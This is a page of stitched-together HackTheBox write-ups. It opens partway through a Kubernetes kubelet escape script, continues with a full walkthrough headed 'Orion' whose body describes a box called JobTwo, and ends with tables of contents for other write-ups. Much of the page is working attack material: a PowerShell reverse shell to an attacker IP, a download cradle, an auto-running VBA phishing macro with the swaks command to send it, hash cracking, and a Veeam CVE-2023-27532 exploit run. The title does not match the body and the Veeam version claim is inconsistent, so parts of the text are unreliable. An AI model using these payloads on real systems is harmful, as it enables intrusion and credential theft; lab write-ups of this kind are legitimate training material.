In short: the API server blocked us from running commands, but the kubelet's WebSocket door was left open with our key.

Writing the exploit (evil.py)

We first check that websockets is available inside the pod:

mcp@mcp-server-54464cb475-29ztf:/app$ python3 -c "import websockets; print('ok')"
ok

We write evil.py - a WebSocket client that connects directly to the kubelet and runs a command inside the node-exporter container:

cat > /tmp/evil.py << 'EOF'
#!/usr/bin/env python3
import asyncio, ssl, sys, websockets

NODE    = "<TARGET_IP>"
NE_NS   = "monitoring"
NE_POD  = "prometheus-prometheus-node-exporter-nmntq"
NE_CNT  = "node-exporter"
TOKEN   = open('/var/run/secrets/kubernetes.io/serviceaccount/token').read().strip()
COMMAND = sys.argv[1] if len(sys.argv) > 1 else 'id'

async def ws_exec(cmd_parts):
    # Skip TLS cert verification — kubelet uses a self-signed cert
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode    = ssl.CERT_NONE

    # Build the WebSocket URL: each command word is a separate "command=" param
    args = "&".join(f"command={part}" for part in cmd_parts)
    url  = (f"wss://{NODE}:10250/exec/{NE_NS}/{NE_POD}/{NE_CNT}"
            f"?output=1&error=1&{args}")

    # Connect using the Kubernetes exec WebSocket subprotocol
    async with websockets.connect(
        url, ssl=ctx,
        additional_headers={"Authorization": f"Bearer {TOKEN}"},
        subprotocols=["v4.channel.k8s.io"],
        open_timeout=10
    ) as ws:
        try:
            while True:
                data = await asyncio.wait_for(ws.recv(), timeout=5)
                # First byte is the channel ID — strip it, print the rest
                if isinstance(data, bytes) and len(data) > 1:
                    print(data[1:].decode(errors='replace'), end='')
        except (asyncio.TimeoutError, websockets.exceptions.ConnectionClosed):
            pass

asyncio.run(ws_exec(COMMAND.split()))
EOF

Confirming execution

mcp@mcp-server-54464cb475-29ztf:/app$ python3 /tmp/evil.py "id"
uid=0(root) gid=65534(nobody) groups=10(wheel),65534(nobody)
{"metadata":{},"status":"Success"}

We're running as root inside the node-exporter container. The node-exporter pod mounts the host root filesystem at /host/root — which means we have read access to the entire underlying host machine's filesystem.

11. Root Flag

The node-exporter pod mounts the host's root filesystem at /host/root. We read the root flag directly from the host through this mount:

mcp@mcp-server-54464cb475-29ztf:/app$ python3 /tmp/evil.py "cat /host/root/root/root.txt"
[REDACTED]

12. Attack Chain Summary

[Attacker]
    │
    ├─ 1. Nmap → port 443 (nginx), wildcard cert (*.fireflow.htb)
    │
    ├─ 2. ffuf vhost fuzzing → flow.fireflow.htb discovered
    │      └─ Langflow playground at /playground/7d84d636-...
    │         Status bar: "Flow engine 1.8.2" → vulnerable to CVE-2026-33017
    │
    ├─ 3. CVE-2026-33017: POST /api/v1/build_public_tmp/{flow_id}/flow (no auth)
    │      └─ Malicious Python in node definition → exec() → reverse shell as www-data
    │
    ├─ 4. www-data env → LANGFLOW_SUPERUSER_PASSWORD=n1ghtm4r3_b4_n1ghtf4ll
    │      └─ su nightfall (password reuse) → user.txt [REDACTED]
    │
    ├─ 5. ~/.mcp/config.json → MCP server at <TARGET_IP>:30080
    │      └─ credentials: langflow-bot / Langfl0w@mcp2026!
    │
    ├─ 6. /api/v1/version → JWT supported_algorithms: ["HS256", "none"]
    │      └─ Auth → role:user token → forge role:admin with alg:none
    │
    ├─ 7. POST /api/v1/tools (admin) → register reverse shell tool
    │      └─ tools/call → shell inside mcp-server Kubernetes pod (uid=1000/mcp)
    │
    ├─ 8. K8s RBAC: mcp-sa has GET nodes/proxy
    │      └─ GET /api/v1/nodes/fireflow/proxy/pods → enumerate all pods on node
    │         Spotted: prometheus-node-exporter (hostPID, hostFS, runs as root)
    │
    ├─ 9. WebSocket exec directly to kubelet port 10250
    │      └─ /exec/monitoring/prometheus-prometheus-node-exporter-nmntq/node-exporter
    │         → uid=0(root) inside node-exporter
    │
    └─ 10. node-exporter mounts host FS at /host/root
            └─ cat /host/root/root/root.txt → [REDACTED]

13. Key Vulnerabilities

#	Vulnerability	Impact	Severity
1	CVE-2026-33017 — Langflow `build_public_tmp` endpoint accepts attacker-supplied Python code via `data` param, executes via unsandboxed `exec()`, no auth required	Unauthenticated RCE on Langflow server	Critical
2	Password reuse — Langflow superuser password reused as Linux user `nightfall`'s password, exposed in process environment	Lateral movement from www-data to nightfall	High
3	JWT `alg: none` accepted — MCP registry advertises and accepts unsigned JWTs, allowing any user to forge admin-role tokens	Privilege escalation to MCP admin	High
4	Arbitrary code execution via MCP tool registration — Admin users can register Python tools that execute on the MCP server pod with no sandboxing	RCE inside Kubernetes pod	High
5	Over-permissive RBAC + kubelet WebSocket exec — `mcp-sa` has `GET nodes/proxy`, enabling WebSocket exec to kubelet port 10250, bypassing API server exec authorization	Container escape to root on node	Critical
6	Privileged node-exporter pod — DaemonSet runs as root with host filesystem, hostPID, and hostNetwork — reachable from compromised pod	Full node compromise via host FS read	High

HackTheBox: Orion Writeup

Yogeshwar Peela — Fri, 26 Jun 2026 17:15:37 +0000

Executive Summary

JobTwo is a Windows Server 2022 machine that simulates a realistic corporate phishing and privilege escalation scenario. The attack chain begins with a job posting website that solicits Word document CVs via email. By crafting a macro-embedded .docm file and sending it to the HR email address, we obtain an initial foothold as user julian. From there, we discover hMailServer installed on the box, extract and crack a password hash from its database to pivot to user ferdinand (user flag). Finally, we exploit CVE-2023-27532 - an unauthenticated credential leak and RCE vulnerability in Veeam Backup & Replication — to execute commands as NT AUTHORITY\SYSTEM and retrieve the root flag.

Reconnaissance
Web Enumeration
Initial Access - VBA Macro Phishing
Stable Shell with ConPtyShell
Post-Exploitation as Julian
Credential Extraction - hMailServer
Lateral Movement to Ferdinand (User Flag)
Privilege Escalation - CVE-2023-27532 (Veeam)
Root Flag
Attack Chain Summary
Key Vulnerabilities

1. Reconnaissance

We start with a full Nmap scan using -A (aggressive mode: OS detection, version detection, script scanning) and -Pn (skip host discovery, since ICMP may be blocked):

root@kali:/home/kali/htb/Job2# nmap -A -Pn <TARGET_IP>

PORT      STATE SERVICE              VERSION
22/tcp    open  ssh                  OpenSSH for_Windows_9.5 (protocol 2.0)
25/tcp    open  smtp                 hMailServer smtpd
80/tcp    open  http                 Microsoft HTTPAPI httpd 2.0
443/tcp   open  ssl/https?
| ssl-cert: Subject: commonName=www.job2.vl
445/tcp   open  microsoft-ds?
3389/tcp  open  ms-wbt-server        Microsoft Terminal Services
| rdp-ntlm-info:
|   Product_Version: 10.0.20348
5985/tcp  open  http                 Microsoft HTTPAPI httpd 2.0
... [snipped]
OS: Microsoft Windows Server 2022 (89%)

Key observations:

Port 25 (SMTP) - hMailServer is running, meaning we can send emails directly to the box.
Port 80/443 - a web server is present.
Port 5985 - WinRM is open, useful for lateral movement if we get credentials.
OS fingerprinting suggests Windows Server 2022.

We add the hostnames to /etc/hosts so domain-based virtual hosting resolves correctly:

echo '<TARGET_IP> job2.vl www.job2.vl' >> /etc/hosts

We check for anonymous/guest SMB access - both fail:

root@kali# nxc smb <TARGET_IP> -u '' -p ''
SMB  <TARGET_IP>  445  JOB2  [-] JOB2\: STATUS_ACCESS_DENIED

root@kali# nxc smb <TARGET_IP> -u 'guest' -p ''
SMB  <TARGET_IP>  445  JOB2  [-] JOB2\guest: STATUS_ACCOUNT_DISABLED

SMB is a dead end. We pivot to the web server.

2. Web Enumeration

Browsing to http://www.job2.vl reveals a boat rental company job posting page. The key line:

"If you are interested in this position, please send your CV to **hr@job2.vl* as a Microsoft Word Document."*

This is the entry point. The site is explicitly asking for a Word document attachment - a classic phishing vector. SMTP (port 25) is directly accessible with no authentication, so we can deliver mail straight to the target.

3. Initial Access - VBA Macro Phishing

How it works

Microsoft Word supports Visual Basic for Applications (VBA) macros embedded inside .docm files. When a victim opens the document and enables macros, the AutoOpen subroutine fires automatically. We abuse this to execute a PowerShell reverse shell without any user interaction beyond opening the file.

Step 1 - Create the PowerShell reverse shell

We grab a PowerShell reverse shell from revshells.com - specifically the PowerShell #1 option - plugging in our attacker IP and port 4444, then save it as shell.ps1:

cat shell.ps1

$LHOST = "<YOUR_IP>"
$LPORT = 4444
$TCPClient = New-Object Net.Sockets.TCPClient($LHOST, $LPORT)
$NetworkStream = $TCPClient.GetStream()
$StreamReader = New-Object IO.StreamReader($NetworkStream)
$StreamWriter = New-Object IO.StreamWriter($NetworkStream)
$StreamWriter.AutoFlush = $true
$Buffer = New-Object System.Byte[] 1024
while ($TCPClient.Connected) {
    while ($NetworkStream.DataAvailable) {
        $RawData = $NetworkStream.Read($Buffer, 0, $Buffer.Length)
        $Code = ([text.encoding]::UTF8).GetString($Buffer, 0, $RawData - 1)
    }
    if ($TCPClient.Connected -and $Code.Length -gt 1) {
        $Output = try { Invoke-Expression ($Code) 2>&1 } catch { $_ }
        $StreamWriter.Write("$Output`n")
        $Code = $null
    }
}
$TCPClient.Close(); $NetworkStream.Close(); $StreamReader.Close(); $StreamWriter.Close()

Step 2 - Base64-encode a download cradle

Instead of embedding the full shell script inside the macro (which could trigger AV), we use a download cradle: the macro tells PowerShell to fetch shell.ps1 from our HTTP server and execute it in memory. We encode the cradle in UTF-16LE Base64 (the format PowerShell's -EncodedCommand flag expects):

cmd='IEX(New-Object Net.WebClient).DownloadString("http://<YOUR_IP>/shell.ps1")'
echo -n "$cmd" | iconv -t UTF-16LE | base64 -w0

Replace <YOUR_IP> with your own attacker IP and re-run the encoding to generate your own base64 string.

Step 3 - Create the malicious Word document

This requires a Windows machine with Microsoft Word (Microsoft 365 or an activated license). The VBA project name in the editor will match your .docm filename - saving as evil.docm means the project shows as Project (evil) in the VBA editor.

Open Word → create a new .docm file, save it as evil.docm.
Go to View → Macros, type AutoOpen → click Create.
In the VBA editor, right-click Project (evil) → Insert → Module.
Paste the following macro. AutoOpen fires on open; Document_Open is a fallback for some Word versions:

Sub AutoOpen()
    Shell "powershell -nop -w hidden -ep bypass -e <YOUR_BASE64_HERE>", vbHide
End Sub
Sub Document_Open()
    AutoOpen
End Sub

Save as evil.docm.

Step 4 - Host the payload and set up the listener

python3 -m http.server 80

rlwrap -cAr nc -lnvp 4444

(rlwrap adds readline support — arrow keys and command history in the shell.)

Step 5 - Send the phishing email

We use swaks (Swiss Army Knife for SMTP) to send the malicious document directly to hr@job2.vl via port 25. No authentication is required:

swaks \
  --to hr@job2.vl \
  --from exploit@notes.com \
  --header 'Subject: Job Application' \
  --body "Please review my resume" \
  --attach @evil.docm \
  --server <TARGET_IP>

=== Connected to <TARGET_IP>.
<-  220 JOB2 ESMTP
 -> MAIL FROM:<exploit@notes.com>
<-  250 OK
 -> RCPT TO:<hr@job2.vl>
<-  250 OK
 -> DATA
... [attachment sent] ...
<** 250 Queued (35.408 seconds)
=== Connection closed with remote host.

Note on timeouts: The connection may time out waiting for a server response, but as long as 250 Queued appears, the payload will execute — the mail bot opens the document automatically.

Shortly after, our HTTP server gets a hit and the listener catches the callback:

<TARGET_IP> - - "GET /shell.ps1 HTTP/1.1" 200 -

nc -lnvp 4444
connect to [<YOUR_IP>] from (UNKNOWN) [<TARGET_IP>] 57097

hostname
JOB2

We have a shell as job2\julian.

4. Stable Shell with ConPtyShell

The initial Netcat shell is limited - no tab completion, no arrow keys. We upgrade to a full interactive PTY using ConPtyShell, which uses the Windows ConPTY API:

git clone https://github.com/antonioCoco/ConPtyShell.git
cd ConPtyShell
python3 -m http.server 8000

On the target:

IEX (iwr http://<YOUR_IP>:8000/Invoke-ConPtyShell.ps1 -UseBasicParsing)
Invoke-ConPtyShell <YOUR_IP> 4445

Listener on our end:

stty raw -echo
( stty size; cat ) | nc -lvnp 4445

Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\WINDOWS\system32>

We now have a fully interactive PowerShell session.

5. Post-Exploitation as Julian

We check our user context and privileges:

PS C:\> whoami /all

User Name   : job2\julian
Integrity   : Medium Mandatory Level

Privilege Name                Description                    State
============================= ============================== ========
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

ERROR: Unable to get user claims information.

Julian is a low-privilege standard user - no SeImpersonatePrivilege or other useful tokens. We list all local accounts:

PS C:\Users> net user

User accounts for \\JOB2
-------------------------------------------------------------------------------
Administrator  DefaultAccount  Ferdinand
Guest          Julian          svc_veeam
WDAGUtilityAccount

Notable: Ferdinand, Administrator, and service account svc_veeam. Ferdinand's directory is access-denied. Julian's Desktop only has a Word shortcut — confirming Julian is the HR bot account that opened our phishing document.

We explore C:\ for interesting directories:

PS C:\> dir

    Directory: C:\

Mode    LastWriteTime    Name
----    -------------    ----
...
d-----  5/3/2023         VBRCatalog
...

VBRCatalog stands out - VBR is Veeam Backup & Replication. We also enumerate Program Files (x86):

PS C:\Program Files (x86)> dir

    Directory: C:\Program Files (x86)

d-----  5/3/2023   hMailServer
d-----  5/3/2023   Microsoft SQL Server Compact Edition
d-----  5/3/2023   Veeam
... [snipped]

Two interesting targets: hMailServer (the mail server we already used) and Veeam (enterprise backup software with known critical CVEs). We start with hMailServer.

6. Credential Extraction - hMailServer

Reading the config file

We navigate into the hMailServer Bin directory and read the INI config:

PS C:\Program Files (x86)\hMailServer\Bin> type hMailServer.INI

[Security]
AdministratorPassword=8a53bc0c0c9733319e5ee28dedce038e

[Database]
Type=MSSQLCE
Password=4e9989caf04eaa5ef87fd1f853f08b62
PasswordEncryption=1
Database=hMailServer

The Password field is encrypted with hMailServer's Blowfish-based encryption (PasswordEncryption=1). The database type MSSQLCE tells us it's a SQL Server Compact Edition .sdf file.

Finding the database file

We use a recursive search to locate the .sdf file:

PS C:\Program Files (x86)\hMailServer\Bin> Get-ChildItem "C:\" -Recurse -Filter *.sdf -ErrorAction SilentlyContinue

    Directory: C:\Program Files (x86)\hMailServer\Database

-a----  6/26/2026  675840  hMailServer.sdf

Database confirmed at C:\Program Files (x86)\hMailServer\Database\hMailServer.sdf.

Decrypting the database password

On our attacker machine, we use hMailDatabasePasswordDecrypter — a tool that reverses hMailServer's known encryption:

git clone https://github.com/GitMirar/hMailDatabasePasswordDecrypter
cd hMailDatabasePasswordDecrypter
make
chmod +x decrypt
./decrypt 4e9989caf04eaa5ef87fd1f853f08b62
95C02068FD5D

The decrypted database password is 95C02068FD5D.

Finding the right SqlServerCe DLL

To open the .sdf from PowerShell we need System.Data.SqlServerCe.dll. We search for available versions:

Get-ChildItem "C:\Program Files*" -Recurse -Filter System.Data.SqlServerCe.dll -ErrorAction SilentlyContinue

Both v3.5 and v4.0 are present under C:\Program Files\Microsoft SQL Server Compact Edition\.

Opening the database

First, we copy the .sdf to a writable location — the original is locked by the running hMailServer service:

Copy-Item "C:\Program Files (x86)\hMailServer\Database\hMailServer.sdf" C:\temp\

We try v4.0 first:

Add-Type -Path "C:\Program Files\Microsoft SQL Server Compact Edition\v4.0\Desktop\System.Data.SqlServerCe.dll"
$conn = New-Object System.Data.SqlServerCe.SqlCeConnection
$conn.ConnectionString = "Data Source=C:\temp\hMailServer.sdf;Password=95C02068FD5D"
$conn.Open()

Exception: "The database file has been created by an earlier version of SQL Server Compact.
Please upgrade using SqlCeEngine.Upgrade() method."

Version mismatch. We start a fresh PowerShell session (to avoid DLL conflicts) and load v3.5 instead:

Add-Type -Path "C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\System.Data.SqlServerCe.dll"
$conn = New-Object System.Data.SqlServerCe.SqlCeConnection
$conn.ConnectionString = "Data Source=C:\temp\hMailServer.sdf;Password=95C02068FD5D"
$conn.Open()

$conn.State
Open

Querying for credentials

We list all tables to understand the schema:

$cmd = $conn.CreateCommand()
$cmd.CommandText = "SELECT table_name FROM information_schema.tables"
$r = $cmd.ExecuteReader()
while($r.Read()){ $r[0] }

hm_accounts
hm_domains
hm_messages
hm_rules
... [33 tables total, snipped]

hm_accounts is the target. Rather than guessing column names, we enumerate them directly from the reader:

$r.Close()
$cmd.CommandText = "SELECT * FROM hm_accounts"
$r = $cmd.ExecuteReader()
for($i=0; $i -lt $r.FieldCount; $i++){ $r.GetName($i) }

accountid
accountaddress
accountpassword
accountpwencryption
accountactive
... [25 columns total, snipped]

We care about accountaddress and accountpassword. We extract just those:

$r.Close()
$cmd.CommandText = "SELECT accountaddress, accountpassword FROM hm_accounts"
$r = $cmd.ExecuteReader()
while($r.Read()){ "$($r[0]) : $($r[1])" }

Julian@job2.vl    : 8981c81abda0acadf1d12dd9d213bac7c51c022a34268058af3757607075e0eb49f76f
Ferdinand@job2.vl : 04063d4de2e5d06721cfbd7a31390d02d18941d392e86aabe02eda181d9702838baa11
hr@job2.vl        : 1a5adad158ccffd81db73db040c72109067add598fafc47bbbd92da9a69661af94f055

Three accounts - Julian (us), Ferdinand, and the HR bot.

Cracking with John the Ripper

hMailServer uses sha256($salt.$password) - John the Ripper recognises this as the hMailServer format:

cat > users.hash << 'EOF'
Julian@job2.vl:8981c81abda0acadf1d12dd9d213bac7c51c022a34268058af3757607075e0eb49f76f
Ferdinand@job2.vl:04063d4de2e5d06721cfbd7a31390d02d18941d392e86aabe02eda181d9702838baa11
hr@job2.vl:1a5adad158ccffd81db73db040c72109067add598fafc47bbbd92da9a69661af94f055
EOF

john users.hash --wordlist=/usr/share/wordlists/rockyou.txt

Loaded 3 password hashes with 3 different salts (hMailServer [sha256($s.$p)])
Franzi123!       (Ferdinand@job2.vl)
1g 0:00:00:05 DONE
Session completed.

Ferdinand's password is Franzi123!. The other two hashes didn't crack against rockyou.

7. Lateral Movement to Ferdinand (User Flag)

We verify the credentials work for WinRM:

nxc winrm <TARGET_IP> -u Ferdinand -p 'Franzi123!'
WINRM  <TARGET_IP>  5985  JOB2  [+] JOB2\Ferdinand:Franzi123! (Pwn3d!)

Connect with Evil-WinRM:

evil-winrm -i <TARGET_IP> -u Ferdinand -p 'Franzi123!'

*Evil-WinRM* PS C:\Users\Ferdinand\Desktop> type user.txt
[REDACTED]

Ferdinand is in Remote Management Users but has no elevated privileges — we need another path to SYSTEM.

8. Privilege Escalation - CVE-2023-27532 (Veeam)

Discovery

We spotted Veeam in Program Files (x86) earlier, but that only contains the agent components (Backup Transport, vPowerNFS). The full Veeam Backup & Replication server lives in Program Files (64-bit).

I Googled "how to find version of Veeam Backup and Replication from PowerShell" and found you can read the file version from the console executable using [System.Diagnostics.FileVersionInfo]. First attempt used the wrong path:

[System.Diagnostics.FileVersionInfo]::GetVersionInfo("C:\Program Files (x86)\Veeam\Backup and Replication\Console\veeam.backup.shell.exe").FileVersion

Exception: FileNotFoundException

Correcting to the 64-bit path:

[System.Diagnostics.FileVersionInfo]::GetVersionInfo("C:\Program Files\Veeam\Backup and Replication\Console\veeam.backup.shell.exe").FileVersion
10.0.1.4854

Build 10.0.1.4854 is Veeam v11 - well below the patched build 11.0.1.1261 P20230227. This is vulnerable to CVE-2023-27532.

What is CVE-2023-27532?

CVE-2023-27532 is a high-severity vulnerability (CVSS 7.5, effectively critical in practice). I found detailed technical analysis on the AttackerKB blog by Rapid7: https://attackerkb.com/topics/ALUsuJioE5/cve-2023-27532/rapid7-analysis.

The Veeam backup service (Veeam.Backup.Service.exe) exposes a .NET WCF endpoint on TCP port 9401 with no client authentication (clientCredentialType="None"):

<binding name="invokeServiceBinding" ...>
  <security mode="Transport">
    <transport clientCredentialType="None" />
  </security>
</binding>

This allows any unauthenticated user to:

Extract plaintext credentials - via CredentialsDbScopeGetAllCreds, which decrypts stored credentials server-side using DPAPI and sends them back in plaintext. The Rapid7 analysis notes that a Horizon3 PoC leverages CredentialsDbScopeFindCredentials for the same effect.
RCE as SYSTEM - via GetDataTable with DatabaseAccessor scope, which passes raw SQL to the backend. This enables xp_cmdshell and gives arbitrary command execution as the Veeam service account (NT AUTHORITY\SYSTEM).

This vulnerability was widely exploited in real-world ransomware campaigns — attackers targeted backup infrastructure specifically to destroy recovery capability.

Exploitation

We use CVE-2023-27532-RCE-Only. Clone and host it:

git clone https://github.com/puckiestyle/CVE-2023-27532-RCE-Only
cd CVE-2023-27532-RCE-Only
python3 -m http.server 8000

The exploit needs three Veeam DLLs alongside the executable (all included in the repo). Without them the binary fails. Download all four to C:\temp:

*Evil-WinRM* PS C:\temp> iwr http://<YOUR_IP>:8000/VeeamHax.exe -OutFile C:\temp\VeeamHax.exe
*Evil-WinRM* PS C:\temp> iwr http://<YOUR_IP>:8000/Veeam.Backup.Common.dll -OutFile C:\temp\Veeam.Backup.Common.dll
*Evil-WinRM* PS C:\temp> iwr http://<YOUR_IP>:8000/Veeam.Backup.Model.dll -OutFile C:\temp\Veeam.Backup.Model.dll
*Evil-WinRM* PS C:\temp> iwr http://<YOUR_IP>:8000/Veeam.Backup.Interaction.MountService.dll -OutFile C:\temp\Veeam.Backup.Interaction.MountService.dll

Test the exploit reaches the Veeam service:

*Evil-WinRM* PS C:\temp> .\VeeamHax.exe
Targeting 127.0.0.1:9401

Start a listener, then fire the exploit with a base64-encoded PowerShell reverse shell from revshells.com via --cmd:

rlwrap -cAr nc -lnvp 3333

*Evil-WinRM* PS C:\temp> .\VeeamHax.exe --cmd "powershell -e JABjAGwAaQBlAG4AdAAgAD0A..."
Targeting 127.0.0.1:9401

Shell catches:

PS C:\WINDOWS\system32> whoami
nt authority\system

We are NT AUTHORITY\SYSTEM.

9. Root Flag

PS C:\WINDOWS\system32> cd C:\Users\Administrator\Desktop
PS C:\Users\Administrator\Desktop> type root.txt
[REDACTED]

10. Attack Chain Summary

[Attacker]
    │
    ├─ 1. Nmap → SMTP (25), HTTP (80/443), WinRM (5985)
    │
    ├─ 2. Web enum → job posting → "Send CV to hr@job2.vl as Word document"
    │
    ├─ 3. Craft evil.docm — VBA AutoOpen macro (download cradle → shell.ps1)
    │
    ├─ 4. swaks sends evil.docm to hr@job2.vl via open SMTP
    │      └─ Mail bot opens doc → macro fires → reverse shell as julian
    │
    ├─ 5. Enumerate filesystem → hMailServer + Veeam spotted
    │
    ├─ 6. hMailServer credential extraction
    │      ├─ Read hMailServer.INI → encrypted DB password
    │      ├─ Decrypt with hMailDatabasePasswordDecrypter → 95C02068FD5D
    │      ├─ Locate hMailServer.sdf → copy to C:\temp
    │      ├─ Open with SqlServerCe v3.5 → query hm_accounts
    │      └─ Extract SHA256 hashes → crack with John → Franzi123! (Ferdinand)
    │
    ├─ 7. evil-winrm as Ferdinand → user.txt [REDACTED]
    │
    ├─ 8. Veeam v11.0.1.4854 → vulnerable to CVE-2023-27532
    │      └─ Unauthenticated WCF endpoint (port 9401) → xp_cmdshell → SYSTEM shell
    │
    └─ 9. root.txt [REDACTED]

11. Key Vulnerabilities

#	Vulnerability	Impact	CVSS
1	Open SMTP relay — hMailServer accepts unauthenticated mail to internal addresses	Enables phishing with no credentials	N/A
2	VBA Macro execution — mail bot opens attachments with macros enabled, no AV	RCE via phishing document	N/A
3	hMailServer credential storage — SHA-256 hashes crackable offline; DB password in INI	Credential theft → lateral movement	N/A
4	CVE-2023-27532 — Veeam WCF endpoint on port 9401 with no client auth	Unauthenticated RCE as SYSTEM via `xp_cmdshell`	7.5 (High)

DEV Community: Yogeshwar Peela

HackTheBox: Watcher Writeup

Summary

Recon

Foothold: CVE-2024-22120 (Blind SQLi → Session Theft → RCE)

Post-Exploitation & Credential Harvesting

Privilege Escalation: TeamCity Build Agent → root

Attack Chain

Remediation

HackTheBox: Phoenix Writeup

Summary

Recon

Web Enumeration

WPScan Enumeration

Dead End: Pie Register RCE Attempt

Foothold #1: Unauthenticated SQL Injection (Asgaros Forum)

Dumping WordPress credentials

Cracking the hashes

2FA Bypass: Decrypting the Admin's TOTP Secret

Confirming where the TOTP secret lives

Pulling the encrypted secret and its key

Decrypting it

Foothold #2: RCE via "Download From Files" Plugin

Local Enumeration

SSH: Blocked by 2FA and an IP Allowlist

Privilege Escalation: Reverse Engineering a Compiled Cron Job

What is a .sh.x file?

Watching it run live

The bug: rsync wildcard injection

Exploiting it

Key Vulnerabilities & Attack Chain

Remediations

HackTheBox: vulnEscape Writeup

Summary

Reconnaissance

Foothold - Breaking Out of the Kiosk

Getting a real shell - allowlist bypass

Enumeration as kioskuser0

Recovering the Password

Privilege Escalation — kioskuser0 → admin

Root Flag

Key Vulnerabilities & Attack Chain

Attack Chain

HackTheBox: Manage Writeup

Summary

1. Reconnaissance

1.1 Port scan

1.2 Web enumeration

2. JMX / RMI Enumeration

2.1 remote-method-guesser (rmg)

2.2 beanshooter

3. Exploitation - Unauthenticated JMX → RCE

4. Privilege Escalation - tomcat → useradmin

4.1 Locating a lead

4.2 The permission trap

4.3 Two credential leaks in one archive

4.4 Logging in as useradmin

5. Privilege Escalation - useradmin → root

5.1 Sudo rights

5.2 Abusing the rule

5.3 Root

Key Vulnerabilities & Attack Chain

Remediation notes

HackTheBox: LustrousTwo Writeup

Summary

Recon

Nmap

Anonymous FTP — full session

Pulling the username list cleanly

Username validation

Initial Foothold — Password Guessing

Getting Kerberos working properly

Reaching the Web App (Kerberos SPN gotcha)

LFI in the Download Endpoint

Capturing and Cracking the Service Account's Hash

Pulling the app's own source

What the source revealed

Privilege Escalation to ShareAdmins via Kerberos S4U2self

RCE via the /File/Debug Backdoor

SYSTEM via Velociraptor

What is a `.sh.x` file?

Enumeration as `kioskuser0`

Privilege Escalation — `kioskuser0` → `admin`

Privilege Escalation to `ShareAdmins` via Kerberos S4U2self

RCE via the `/File/Debug` Backdoor

4. Vulnerability #2 - Local File Inclusion (LFI) in `dashboard.php`

7. Privilege Escalation Path - `www-data` → `sadm`

8. Privilege Escalation Path - `sadm` → `root` (in progress)

8.2 GTFOBins — `nano` Sudo Escape